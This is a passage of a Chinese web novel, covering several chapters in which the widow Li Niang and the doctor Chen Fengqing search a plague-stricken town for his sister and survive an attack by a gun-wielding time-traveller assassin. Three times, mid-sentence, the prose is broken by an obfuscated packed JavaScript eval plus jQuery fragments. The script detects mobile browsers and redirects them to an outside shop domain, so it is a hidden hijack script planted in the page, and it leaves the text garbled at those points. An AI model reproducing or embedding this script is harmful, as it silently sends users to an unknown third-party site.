赵皆轻咳一声,道:“当朝皇帝虽无大才,但宽和仁厚。且皇帝拼命力保,才留下我一家性命,我实在无法眼睁睁瞧着,瞧着国师做如此僭越之举还无动于衷......” 梨娘叹了口气,道:“只有这个,我是真的没办法帮你。” “为何?”赵皆满怀期待,道,“你能差点杀死国师一次,为何不能有第二次?虽说大家口上说着妖女祸事,但是,” “所有人都期待着你能回来!如果能再来一场,彻底推翻国师,就更好了!” 梨娘心道,早知道上次不帮忙,现在赵皆对她的盲目恐惧已经变成盲目崇拜了。 “你还记得国师长什么样子么?”梨娘忽然问。 “白发重瞳,姣若银月,艳若鬼魅......”一想到国师的模样,赵皆狠狠打了个寒颤,道,“怎么了?” “没什么,妾身就帮你回忆一下他长得有多畸形。”梨娘嗓音甜美,却让人从心里泛起一股冷意,她笑道,“他的心比他的外表还要畸形一万倍!” “你知道他跟我在一起的时候,晚上根本不睡觉吗?他那四颗眼珠子就那样盯着我一整个晚上,我只能拼命装睡,好不容易睡着了,噩梦里都是他的眼睛......” “为了取得他的信任,我亲手杀了上百个穿越者。具体有多少,我数到一百就再也没数了。”提到从前,梨娘怒道,“好嘛,妾身的噩梦里又多了上百个冤魂!这下再也睡不着了!妾身良心不安啊!” “整整三年啊,他只有一次完全放下防备。我把刀捅进他胸膛,以为噩梦终于要结束了。” “谁知道没有!没有!他没死!” “这个该死的畸形儿连心脏都是长在右边的!” 爆发过后,梨娘捂住脸,身上有一种深深的疲惫。她道:“从我满心欢喜从落仙阁逃出来、却听到国师没死的消息的时候,我就输了。我彻底输给他了。他再也不会信任我,我也找不到第二次机会。” 赵皆颤抖着嘴唇,半晌道:“可是如果真的让国师把皇权玩弄于手掌中,大燹就彻底完了。” “我知道。”梨娘冷酷道,“可是真的、真的没办法了。你等他老死吧,他长得这么畸形,应该死的很快。” 赵皆:“......万一他变异成长生种了呢?” 梨娘:“那样就轮到我下辈子了,我更管不着。” 赵皆:“................” 约莫是气氛太过于僵硬,梨娘颜色缓和了些,开了个玩笑,道:“除非他是个恋爱脑,还能给我第二次刺杀的机会,梨娘必然不会再失手......但他显然不是。” . 梨娘离开官邸,并没选择坐马车,而是自己步行回家。马车晃晃悠悠的,坐不惯。 月明星稀,月华清晰地映照出这个被短暂庇佑的地方的每一个细节,没有战马和刀枪,显得如此的安宁祥和。 可是只要国师发现她在这里,他便会立刻派出那些血债累累的处刑人,把这个地方顷刻毁了。 梨娘虽然跟国师相处三年,可是根本不懂他。根本无法理解。 “——夫人深夜怎么不在家休息?” 梨娘回过头,和陈奉请四目相对。 陈奉请穿着一身玄青色衣衫,过分邪魅的五官被暮色柔和了轮廓,笑眯眯地看着她,仿佛真是在关心一样。 梨娘知道这是自己的错觉,这姓陈的笑脸和阎王的“欢迎”没什么区别。 倒是他,梨娘诧异道:“骑马?现在不是在宵禁中么?” 陈奉请一本正经道:“不然我应该何时骑呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17709499|208286||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' ?白天这街道上可全是人。” 梨娘沉思,竟然觉得十分有道理。 陈奉请是十里八乡唯一的大夫,当真是毫无弱点,这等小事,是一定会被保下来的。 梨娘便笑道:“不知大夫可愿载我一程?” “当然可以。”陈奉请爽快答应了,道,“我正要去你家呢。” 梨娘:? . 陈奉请是来邀请梨娘的。 “我虽身在大燹,但我是大秉国人。”陈奉请随口道,“那里有我的本家,无聊至极,简直到了令人生厌的地步,但是又欠了人情。现在他们求我去救一个人,救完之后从此两清。如此划算的买卖,我怎能错过?” 大秉国,梨娘也在那里暂住过一段时日,隐约记得有几个医药世家,但从未听说过陈奉请三字。如此医术,不可能不出名,想来这人也是以假名示人。 梨娘转头望向他,眼中带着一丝困惑,道:“可是这和梨娘又有什么关系呢?” “自然有关系。”漆黑马匹在夜色中慢悠悠踱步,梨娘在月色下转过头看着她,肤色雪白,仿佛在发光。陈奉请笑道:“我怕你死了。” “啊?”梨娘一呆。心中警铃大作。 她嫁过七次人了,对言语行为上的暧昧简直不必要太清楚。 而她爱上的、爱上她的全是一帮神奇的玩意,梨娘为了避免自己被第六个人追杀,现在十分警惕。 却见陈奉请道:“如果我没瞧见你痛哭流涕跪地求饶的场面,那多可惜?” 原来只是脑子有病,发病了。 梨娘心落回了肚子里,无语道:“求求你积点德吧。” 陈奉请笑了下,并没多言,一转话题道:“梨娘知道永熹郡吗?” 短短时间再次听见这个地名,梨娘呆了一下,道:“最近闹瘟疫的那个?” “正是。”陈奉请道,“大燹国这种生病不治、全靠肉体凡胎硬抗的风气,才导致瘟疫越来越重。话扯远了——大秉那边联系我,说我有个嫡亲妹妹身体不好,在大燹国养身体,正好碰上瘟疫,现在音讯全无,求着我去救她。你说这不是奇怪?” 确实奇怪。大秉国那边有许多医药世家,可大燹国连一个正经的大夫都难找。哪有把人送到这里养身体的? 梨娘心中顿时浮现出一大堆高门狗血戏码,审慎地思考后,道:“梨娘认为一定有鬼。你是亲生的吗?” “我宁可自己不是。”陈奉请笑了,问道,“夫人现在愿意跟我一起去了么?为了帮探清我血脉之谜?” 国师说不定会把赵艽野曝尸荒野,帮他收个尸也好。梨娘忽然想起什么,警惕道: “如果我染上了瘟疫,你会救我对吧。” “我怎么会让那种事发生?” 梨娘爱情雷达再次响起,惊恐地回头:“???” 陈奉请上下嘴唇一碰就是不说人话:“那样的死因多没意思。太千篇一律。没有创意。” 梨娘:“......” 确定了,这人对她一点色心也没有,满心满眼只有自己的艺术追求。 和疯子相处,还是和抱着她腿死活不走的疯子相处,傻子都知道选哪一个。 梨娘要求真不高,彻底安心了。 陈县的风沙绝没有能让人花前月下甜甜蜜蜜互诉衷肠的余地。梨娘闭嘴了,陈奉请只能瞧见她低垂的颈骨,觉得这里实在是太安静了。 忽地,他用力一扬马鞭,吃痛的马儿箭一般窜了出去,梨娘猝不及防地向后一倒,只觉得自己撞上了一堵墙。 “你突然发什么疯啊?!” “我无聊。” “................” 15. 第15章 谣言 五日后。 小宝的头脸被布巾紧紧地包起来,只末端打成一个蝴蝶结顶在头顶,颇为滑稽。梨娘用力一扯缰绳,透过帷帽的缝隙,瞧见城门上两个大字:永熹。 陈奉请打马至梨娘身旁,瞧着城门来来往往的人群,道:“有些奇怪。瘟疫如此之重的地方,居然还这么热闹。” 梨娘想到赵艽野,他不知被国师关押在哪等死。她苦笑道:“说不定还有什么别的大事要发生。你我且进入一观。” 进了城门,几乎是扑面而来的死亡的气息。家家户户都打着白幡,地面上散落着各色纸钱,一层摞一层,最底下那层已经粘满了泥土和脏污,隐约还能听到远处丧事吹吹打打的声音。 梨娘问:“你那嫡亲妹妹居于何处?叫什么名字?” 陈奉请相当洒脱:“不知道。” 梨娘满脸错愕:“不知道?你.....你若是有什么难言之隐,可以不必回答。” “没什么好瞒夫人的。”陈奉请一摊手,直白道,“我和家里人关系不好,离开家的时候扬言要叫人做三百六十五天的法事,诅咒他们所有人。后来全家人都改名了,也没人通知我他们都改成什么了。” 怎么能有人连在家里都混成这样,梨娘目瞪口呆,道:“那,那你要怎么找人呢?” 陈奉请却道:“简单。我家颇有家资,这个妹妹从小受万千宠爱长大,自然不可能老实本分。且打听一番,就知道她情况如何。” . 平安丧葬馆。 连屋外都弥漫着一股格外难闻的气味,让人闻了便直想吐。 一个壮汉正朝着一对老夫妇声嘶力竭地大吼:“没有,没有,说过多少次了,我哪有那闲功夫偷你家孩子!孩子丢了就去找啊,来我这里闹什么事?!” 梨娘生怕小宝被过了病气,只远远地瞧着,并不靠近。却见那对老夫妇在丧葬馆门口死活不走,不停哆嗦着,忽地一人跪地大哭,另一人也跪地大哭。 “我的儿啊——你死的好惨啊——死后尸首还叫人偷了去!老天爷来评评理,叫我死了也在地底下瞑目......” 壮汉气疯了,忽地也倒地如婴儿般嚎哭不止。他生得十分强壮,面孔硬朗,倒地哭嚎也比老夫妇响亮十倍,当即成了新的焦点。 陈奉请与本欲上前与壮汉交谈,见到此景,立刻抽身远离,假装自己与他并不相识。梨娘看得眼角抽搐,忽然燃起了一阵同情。 “好姐姐,你想知道发生了什么吗?” 梨娘骑在马上,听见脚底下似乎有人在说话。她俯下身去,才看见原来是个小孩。 个头十分瘦小,蓬头垢面,穿着破洞的衣服,干瘪得像颗小豆芽菜,是个小乞丐。 小乞儿的脸倒是擦得很干净,一笑露出两颗漏风的门牙,道:“两个包子,保证让您连里面的耗子叫什么名字都知道!” 小宝对小孩都很警惕:“哪来的狐狸精,想和我争宠???” 小乞儿十分谦卑,道:“不敢,我瞧见姐姐一身白衣,如天上仙子,在此驻足停留,必然是心有困惑。我是凡人,见不得仙女忧愁,也是自然的。” 小宝大惊,道:“娘啊!我也能夸你!你别被他花言巧语骗了。” 梨娘对于小孩没什么抵抗力,看到两个小孩斗嘴,只觉得实在可爱,付钱时根本忘乎所以,把旁边的一车包子全买了。 她递给小乞儿两个,要求笑得合不拢嘴的摊主打包,转头道:“现在你能告诉我了......吧?” 小乞儿手上光光的,只有嘴边残留着一点残渣。 “......”梨娘迸发出一腔母爱。她见不得人饿肚子,温柔道:“别急,慢慢吃,我买了很多。” . “那对老夫妇,在永熹郡很有名。不只是因为他们总是闹事,“小乞儿风卷残云吃下五个包子,才舔着手指,意犹未尽道,“还因为他们的儿子自称是个鸩鬼!” 梨娘:? 居然是这种有名法。梨娘道:“那落仙阁应该会派人吧?” 小乞儿道:“自然来了。但落仙阁的大人来了瞧了,说这人不是鸩鬼,纯属脑子有病,打一两顿就好了。” 梨娘:“.......” 小乞儿:“那对老夫妇就这么一个老来子,抱着处刑人大人的一两句话当成救命稻草。然后连夜请了十个强壮勇猛的大汉,连夜殴打那儿子。” 梨娘:“..............” 小乞儿做了个呲牙咧嘴的表情,唏嘘道:“这人也是嘴硬,打了七八顿之后才终于承认,自己是因为觉得穿越者比较炫酷,比较厉害,于是就这么自称,并不知道会引来杀身之祸......一家人抱在一起痛哭流涕,从此这儿子老老实实的种起了地。” 梨娘神色复杂,指了指现在正在和坐堂大夫抱头痛哭的老夫妇,道:“那现在又怎么变成这样的?” 小乞儿递给同伴两个包子,道:“还能因为什么,那儿子染上瘟疫了呗,这次的疫病又凶又猛,好多人都没能撑过来。” “我也知道!”小乞儿的同伴得了包子,争着回答道,“那对老夫妇也认命了,本来都停灵下葬了,但老夫妇实在是思念儿子,想着打开棺木再瞧他一眼,结果却见棺材里空空的,什么也没有,他们儿子尸首叫人给偷了!” 梨娘招呼墙根那里坐着的小姑娘,递给她一个包子,道:“他们怀疑是丧葬馆给偷的?” “平安丧葬馆的老板姓孙,叫孙文进,爱钱如命,”小乞儿往口袋里塞包子,也不在乎烫,道,“他们儿子从治病到入殓等事都是他一手包办的,不找他找谁?” 梨娘听到一个词,惊讶道:“治病?” 小乞儿瞧了瞧自己和同伴手中、怀里的包子,当即没有犹豫地小声道:“好姐姐,我告诉你一个秘密,你可千万别说出去。这平安丧葬馆,表面上是丧葬馆,实际上也是个药馆。孙老板给钱就会给治病。你若是找不到大夫,也可以来找他。” 原来是这样才有了这一出闹剧。 怪不得三人在这里纠缠良久,却没有一个路人多管闲事,原来还有这样一层心照不宣的关系。 就是这爱财如命的特质,她好像还在另一个人身上看见过..... “乖,下次见到你们,还给你们包子吃。”梨娘见这群乞儿果然消息灵通,便道,“再问你们一件事。你们知不知道当朝皇帝赵艽野?” . 孙文进作为一个壮年男子,体力和脸皮自然要比老夫妇好上不少。老夫妇哭不动了,他还能继续哭嚎。老夫妇颤巍巍搀扶着离开了,他才耀武扬威地爬起来,宣告自己的又一次胜利。 他立刻注意到一道格外嫌弃的目光,当即跳脚,喷道:“看什么看?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17712301|208286||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' /p> 喷完,他才看到那人身高颀长,身穿柔和的青色外袍,五官俊美,姿态潇洒,却总有一丝掩不住的邪性。正是当世神医,最为神出鬼没的陈奉请。 这人声名非常不好,因为他不仅要价昂贵,性格也古怪。有的时候救人只要一百两银子,有的时候却要这个人的全部身家,最极端的时候,还会点名要谁的命。 除了不知情者,就只有走投无路的人会去找他救命。 孙文进非常痛恨陈奉请,不仅仅是因为当初一起做师兄弟的时候,所有师姐师妹含羞带怯的目光全被他吸了去,导致自己现在而立之年仍然找不到人结婚,已经被家里扫地出门; 还因为他之前最喜欢的人是陈奉请的亲妹妹,而陈奉请不光不替他引荐,还每天都泼他凉水。 在此处看到熟人,又想到永熹郡当下瘟疫横行,孙文进大为震惊,道:“你小子改邪归正啦???” “你多想了。”陈奉请凉凉道,“我是来找人的。” 孙文进立刻道:“太好了,你别抢我生意,我好不容易写出来药方的,这里不需要你了——” 陈奉请道:“对你这三瓜两枣没兴趣。我且问你,你有没有听说过关于女人的传闻?” “什么女人?”孙文进怒道,“你小子只比我小三岁啊!你不许结婚!” “我应该有个亲妹妹。”陈奉请皱眉道,“我在家里的时日不多,你还记得她吗?” 孙文进一下子噤声,半晌有点低落道:“你妹妹不是已经死了吗?她都死这么多年了,你突然提起她做什么?” “我家里来信说她还活着。只是来了永熹郡疗养,而且改了名字。”陈奉请道,“你在这里经营医馆,可曾见过她?” “啥?”孙文进指着门外的风沙,窗框被风吹得哐当哐当乱响,若是体重轻些的,怕是立刻就要被卷走了。他十分不可置信道,“疯了吧?来这里疗养???不可能,你家里绝对又在骗你。” 陈奉请道:“他们急到走投无路来求我了,应该不假。你且说来听听。” 孙文进脱口而出道:“没有。真的没有。绝对没有。我暗恋她那么久,如果同在一个郡,我们怎么会没有相遇过???” 陈奉请被这铁血壮汉的绕指柔情震惊了,抬眼见他一把鼻涕一把泪的脸上满是羞涩,居然是认真的。顿时无语至极:“你和她说过话吗你就暗恋???” “爱情不需要这些繁文缛节.....”孙文进忽然又有些不确定了,道:“有几个大户人家的夫人小姐,比较忌讳外男,我只悬丝诊脉,未曾见过真容。” 他在纸上写了几户人家的地址,嘟嘟囔囔道:“不过他们规矩都很多。谢妹妹怎么会呆在那里呢?” 陈奉请一眼扫过,江家,秋家,苏家,仅仅三家,看来能很快解决这件事,当即把纸条收入怀中,果断道:“不必再见了。” “你个没良心的玩意。”孙文进骂道,忽然又扭捏道,“如果你真能找到她,能不能,能不能再让我看她一眼?” 陈奉请困惑地盯着他,觉得他也发癔症了。半晌他道:“如果她没死的话。” . “你们说什么?”梨娘惊诧出声,周围路人纷纷侧目。 梨娘左右看看,压低声音对着一群小孩叮嘱道:“当朝皇帝喜欢人/妻这种谣言不能随便造!!!会被砍头的知道吗?” 16. 第16章 房中有人 小乞儿和他的同伴交换了一个心照不宣的笑容,道:“可是大人们都这么说的呀。皇帝不仅喜欢人/妻,还喜欢被打,被国师发现了大发雷霆。皇帝只好把他的妃子送出宫去,现在就藏在咱们永熹郡呢!” 梨娘脑海中那个少年的面容正一点点破碎,不断地想到人/妻,被打两个词,她道:“是,是吗???” 她离开大燹都城也就最多半年吧。 在这半年里赵艽野到底是发生什么了??? . 陈奉请离开师兄的药铺,抬眼瞧见梨娘,只见一大群乞儿呼啦啦把她围在中间,把路堵得水泄不通。她一副三观被震碎的模样,不知道在想什么。 “......”陈奉请挑眉道,“你是在准备多收养几个吗?” 小宝扑进梨娘怀里,十分警惕:“娘啊,咱们家有我就够了。你说过我是你唯一的宝。” 梨娘把最后几个包子丢给小乞儿叫他们去玩,轻咳道:“这些孩子挺可怜的——你妹妹找到了吗?” 陈奉请道:“有点眉目吧。” . 天色已晚,在地面上蒸腾的热气却还没消退。 路边已经点起灯火,暖黄的烛光透过窗纱,将满地残破纸钱染得愈发突兀。 三人连日赶路,十分疲乏,便在路边的一家客栈落脚。 不巧,客栈老板是个大阜人,饭菜辛辣无比,梨娘把一道爆炒肥肠在水中过了三遍,小心翼翼放入口中,仍差点流出了眼泪。 陈奉请看得有些好笑:“夫人吃不得辣?” “嗯。”梨娘嘴唇已经肿了,可怜兮兮道,“我从小就吃不得。” 夜半三更,梨娘醒了,胃中酸液翻滚,被隐秘的钝痛折磨得冷汗潺潺。小宝仍在怀中沉睡,梨娘亲亲他的小脸,赤着脚从床上爬起来起来找点水喝,咕咚咕咚几口茶水下肚,忽然听到—— 房间里有第三个人的呼吸声。 梨娘原本以为那是窗外的风声。但是风声过去了,一阵更猛烈的风声又起,那轻轻的、令人毛骨悚然的气流声仍在。 一呼、一吸,几不可闻。 但一旦发现了,它就会变得震耳欲聋。 灯已经熄了,今夜月色不佳,房子里漆黑一片,伸手不见五指。 “......”梨娘放下茶壶抹抹嘴,伸了个懒腰,假装什么都没发现,施施然躺回床上,调整了一个舒服的睡姿,还在小宝脸上吧唧亲了一口。 梨娘的呼吸变得平稳而均匀,但一直能感觉到自己似乎被什么人注视着。一炷香后,伴随着几不可闻的脚步声,梨娘能知道那人来到了梨娘床边,俯下了身—— 梨娘猛然睁眼,手中匕首雪亮,划开薄被,直取那人咽喉—— “夫人,是我。” 刀锋停留在陈奉请咽喉前,只差一点就能划开他的喉咙。陈奉请并无躲避之意,梨娘面色不佳,小声怒道:“你大半夜不睡觉,在我房中装神弄鬼做什么??说!” “这就奇了。”半晌,陈奉请慢慢地笑道,手中夹着一张纸条,“不是夫人请我半夜来你房中的吗?” 什么叽里咕噜的,梨娘劈手夺过一瞧,却见: 今夜子时,房中相见,有要事相商。 梨娘难以置信道:“谁知道是不是你伪造的?妾身一个带孩子的寡妇为什么没事给你写这种引人误会的纸条???” 陈奉请也是松了口气,让人莫名不爽,道:“陈某发现这张纸条被塞进门缝中。幸好不是夫人所写,陈某可不想污了清白。” 这人简直不可理喻。 梨娘懒得再理他,小心点起烛火,细细端详纸条字迹。只觉得字迹十分娟秀工整,应是女子手笔,又并不留姓名,怪不得陈奉请以为是梨娘所留。 梨娘道:“没写名字。这人应该是以为你会一眼认出她的字迹。你有什么红颜知己么?” 陈奉请也是十分奇怪,道:“没有。我自小在军营里长大,而且女子是穿肠毒,我实在没兴趣,不如敛财。” 穿肠毒梨娘扫了他一眼,柔柔道:“梨娘结过这么多次婚,也觉得男子大多都是人渣,你这份纯粹的心思很好,继续保持——对了,这不会是你妹妹所留吧?” 二人对视一眼,皆是觉得十分有可能。 “那应该是在你房中了。”梨娘催促道,“你快些去瞧瞧。” 陈奉请却道:“那应该是错过了。” 梨娘一呆,道:“为何?” “因为现在已经是丑时将尽。”陈奉请指责地瞧了她一眼,轻飘飘道,“夫人一直未醒,等得陈某好苦啊。” “......你就这样盯着妾身看了两个时辰???”梨娘只觉得惊悚,被国师盯着一整晚的绝望记忆一股脑席卷而来,梨娘觉得自己又要做噩梦了。 她有气无力地呻吟道:“妾身现在算是明白你为什么没有红颜知己了。” . 二人一起去到陈奉请房中,果然房内十分冷清,没见任何人来过的痕迹。 既然错过,也没什么办法。陈奉请道:“看来只能明日询问下客栈老板。” 梨娘道:“至少她没有因为瘟疫而死。你觉得她是遇到什么困难了吗?” 陈奉请沉吟了一会,道:“她应该是旁人的麻烦才对。我这妹妹与我不同,从小就是掌上明珠,理应没有吃过一点苦。恕陈某愚钝,实在想不出有什么能让她隐姓埋名的事。” 梨娘隐约觉出陈奉请的语调里隐藏着一些咬牙切齿的意味。 没想到连如此没心没肺的人物都逃不了原生家庭,梨娘怜悯道:“怪不得你如此不讨人喜欢。没事的,我原谅你了。” 陈奉请:? . 天色未明,男女深夜同处一室,实在过于暧昧,哪怕两个人对彼此一点色心也没有也不行。梨娘转身告辞,把手放在门把上。 窗外阴云散去了一些,透过长方形的小窗泄进来的月光多了几分。 在这格外冷的月光下,梨娘又转过身来,娇声道:“你都不挽留下妾身么?” 她有一种格外厉害的本事,就是让人在该明白她是个漂亮女人的时候,连她的一根头发丝都无法忽视。 “???” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17714637|208286||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 陈奉请的表情大约像是走在路上突然见到鱼在驾马车。 他双手卡住梨娘的腰,想把突然发病想往他身上贴的漂亮女人推开。 但奈何梨娘是个半路出家的练家子,为了小命真是勤学苦练,在此刻用上毕生所学,整个身子柔得像一汪水。 叫陈奉请把手臂伸直了,梨娘也能把上半身贴在他手上,柔软的躯体和略微卷曲的发丝,叫人真以为托举了一只猫。 实际上这画面特别荒谬,二人一路嬉笑,主要是漂亮女人在单方面嬉笑着把男人推倒在床上,而男人把女人避如蛇蝎高高举起,像是在玩什么举高高游戏...... 以陈奉请的表情来看如果梨娘再不收手,他就要为了维护自己的贞洁而上些手段了。 梨娘表面娇笑,实则面目狰狞,用口型道: 你、床、下、有、人! 在乌云散开的一瞬间,梨娘瞧见了床下有什么在反光......那是一对瞪得浑圆的眼睛,死死瞪着陈奉请。 而以陈奉请的角度,却是瞧不见的。 此人是个中高手。 梨娘不想第二天还得给陈奉请收尸,于是才演了这么一出戏,就是没想到陈奉请如此的不配合。 梨娘袖中匕首滑出,陈奉请一僵,慢慢地把梨娘放下。两具身体交叠在一起,几乎能感受到彼此的体温和心跳。 陈奉请脑海中只有一个念头,那就是—— 唉,梨娘压到他的头发了,好痛。 咚一声利刃穿透床板,刺客发出一声闷哼,陈奉请当即抱住梨娘向床外一翻,只听砰!一声惊天动地的巨响,床板像天女散花般碎成七八片,木屑纷纷扬扬炸了满屋,刺客踢翻破碎的床板,举起手中的黑色物体,食指弯曲—— “啊?!!!” 梨娘惊叫,她闪电般的反应是惊人的,她当即丢出匕首,直直朝向刺客面门,在刺客下意识躲避的时候一脚踢歪那黑色长管物体。 陈奉请抱着梨娘急急闪身躲开,砰!!!一声在室内堪称炸雷般的巨响,房门被轰掉一半,可想而知这东西若是打在肉体凡胎身上会有多凄惨。 刺客暗骂一声,想从口袋里掏出点什么,却只觉得右手臂从小臂开始就逐渐麻木,手指更是直接失去了知觉,仔细一瞧,一根约一寸的长针不知何时穿透了他的手臂,针尖泛着不详的黑色。 陈奉请出品,想也知道会是多凶险的剧毒。 而剧烈运动会加剧毒发。 刺客当即吐出一大口黑色的血,手臂一松,叮叮咚咚,几个圆柱状的物体从刺客口袋中滚出。 先前被梨娘隔床刺破的伤口愈发疼痛,眼见处于下风,刺客当即不再恋战,跳窗逃走。 巨响惊动了整个客栈,七嘴八舌的声音席卷了整个走廊,陈奉请欲追,梨娘却摇头道:“别追了。” 梨娘捡起地上的圆柱状物体,神色晦涩不明。只能看到她鸦羽般浓密的睫毛垂下,显得有些难过。 “你认识?” “不,他有枪,双管□□。追上去太危险了。”梨娘道,“那是个穿越者。不用管他。” 17. 第17章 不同 对于穿越者所创造出来的奇法,陈奉请不仅有所耳闻,甚至还颇为心动。 毕竟如此威力巨大的东西,谁都会想拿到手里,仔细研究一番的吧? 只可惜穿越者的数量有限,他们所创造出的奇技数量也十分稀少,都死死地握在自己人手里。 陈奉请医治过些被如此奇技打伤了的人,整个身体都被打穿了,哪怕是他,也得费好一番功夫处理。 陈奉请瞧见梨娘情绪不对,出言试探道:“夫人似乎对这东西格外熟悉?” 出乎他的意料,梨娘十分坦诚,道:“连累你了。这刺客恐怕又是冲我来的。我们二人一道行动,旁人分不清我们房间。” “我讲过,我曾经是落仙阁的处刑人,经常碰到些手拿枪支的鸩鬼,对他们有一套独特的应对方法。这人恐怕以前见过我的脸,和我有仇,便跟踪我想把我杀掉。” 这话说得合情合理,见陈奉请再也挑不出错处,梨娘话锋一转,轻笑道:“倒是你,别总是以为梨娘对你图谋不轨。妾身见过多少男人,比你优秀的不知凡几。而且梨娘梦想中的爱情,一定要是纯洁、高贵,两人眼睛对视,就立刻冒出噼里啪啦的火花,从三魂七魄中产生真正的共鸣.......” 很难想象为什么梨娘这样一个和离过七次的人为什么会有这样空中楼阁的妄想。 陈奉请听了,觉得梨娘和离了七次一定和她的痴心妄想脱不开干系。 “总之,别一点身体接触就反应那么大。这只是梨娘不引人怀疑的小小手段。”梨娘总结道,“我去找个借口糊弄客栈老板,你帮我去看看小宝。他被惊醒总是很难受的。” . 并不出乎人意料的,客栈老板对这种事非常的熟悉。他往柜台下一钻,台上放着一个牌子: 赔偿损失不报官,加20两不传谣,再加20两本客栈从来没有发生过恶性斗殴事件。 熟练得令人心疼。 梨娘现在手里还宽裕,把袖中银两往桌面上一拍,道:“起来,问你些事。” 老板颤巍巍地从柜台里探出头来,见到的是一个高挑风流的女人,面容被帷帽遮挡着看不清楚,只能看清下巴上有颗小痣。 老板听说这样的女人是会吃人的,当即把自己再次缩进柜台里哆哆嗦嗦.....然后被无语至极的梨娘一把拎出来。 梨娘环顾一圈,见无人在意此处,小声道:“你有听说过陈奉请吗?” 老板茫然:“没,没听过......” “是吗?”梨娘并不满意,挑眉问,“那你可知道哪里有大夫?” 老板哆嗦得更厉害了:“不,不敢,那在大燹国可是要被杀头的死罪!” 梨娘的语气缓和下来,道:“我并无为难之意。只是我惹了仇家,我的同伴受了伤,我们现在急需大夫。就算是传言也好,你有听过谁吗?大秉国有许多医药世家,前些年那里乱的时候,不是来这里许多人吗?” 老板的小眼睛滴溜溜的一转,望向柜台上的银两,梨娘从袖中摸出个金锭,递给他,娇笑道:“现在呢?” “老....老孙。”老板把金锭捧在怀里,小声说,“你去找平安丧葬馆的孙文进。” “我怕他处理不了。我的同伴被当胸一枪,现在快死了。”梨娘追问,“还有更厉害的人吗?” 老板沉吟片刻,看看怀中的金锭,决定招了:“我听老孙喝醉了说起过,他拜师的时候有个天赋极好的小师弟,和他一块被流放来的。好像姓谢,叫什么名字就不知道了。你报我的名字,说不定老孙能给你介绍下。” 流放。 梨娘当即心下雪亮,娇笑道:“好,多谢老板。” . 果然背后应该少打听人。 梨娘没走两步,却见拐角处陈奉请牵着小宝,无辜地瞧着他。 陈奉请穿着那身柔和的青色外袍,神色十分无辜,道:“我并非有意偷听。你孩子生怕你不要他了,非要来找你。” 梨娘看向小宝。小宝瞧东瞧西,就是不瞧她。 气氛一时间变得十分尴尬。 陈奉请笑道:“夫人若是想知道什么,直接问我便好,何苦呢?” 他的笑意并未直达眼底,梨娘瞧得出来。 看来有些事情,就是没心没肺的人也不愿意提。 梨娘揉了揉眉心,光线幽暗,梨娘又时时以帷帽遮脸,让人瞧不见她究竟如何想。 她那时时刻刻总是甜美的声音里染上了一丝疲惫,只听梨娘道:“你怎么不早说你原本姓谢?如果是大秉都城琼华谢氏.....那我认识你妹妹啊。” 陈奉请的表情僵住了,道:“你去过大秉国?” “不然呢?”梨娘难以置信道,“如果你有七个得罪了的前夫,全住在同一个地方,谁能安然无恙地活这么久???” 陈奉请:“.......” 梨娘道:“不过我和你妹妹只是一面之缘。那时候她还叫谢骊呢。哦,不是妾身的这个梨花的‘梨’字,而是骊山的‘骊’字。” 谢骊,因谋逆之罪被处死,谢家全族因此被流放。梨娘随口一打听,就捅破别人内心的伤处,也是十分不好意思的。 陈奉请突然问:“你在大秉国做什么?” “.......”梨娘莫名其妙道,“我当然是嫁过去的喽。那次嫁的人也不是真爱,很瞧不起我。” 陈奉请却道:“不对。如果你在大秉国,我怎么会没听过你这一号人物?” 梨娘叹道:“那时候我嫁了个高门大户,每天困在后院里,哪也去不了,憋都要憋死了。如果你非要梨娘说出点什么来,那只能告诉你,那是琼华王氏的人,现在还活得好好的呢。” 陈奉请脑中思索一番,抛出一个名字:“王怀璟?” “妾身可配不上那种大人物。”梨娘被逗笑了,道,“是他表弟王怀远。” 王怀远么,普通纨绔一个,眼珠子都要掉进娇妻美眷里了,而且十分记仇。 陈奉请暂时打消疑虑,梨娘笑道:“怎么话题引到梨娘身上?你不是要找谢骊么?大秉国男女大防太重,就算是亲妹妹,你也估计没见过她,但是我见过呀,现在不是更容易些了么......” . 梨娘抱着小宝回到房中,只觉精疲力竭。 小宝受了惊吓又犯病,梨娘刚说完话就倒在地上睡觉了。幸好旁边有个大夫在,及时喂药救回。 梨娘一点睡意也无,摸摸小宝的小脸,喃喃自语道:“就算为了这个孩子......我也得拼命活下去。怎么就偏偏是谢骊?” 她可能是这世界上除了前夫之外,最恨梨娘的人。 . 陈奉请回到原本的房中,床板已经四分五裂,自 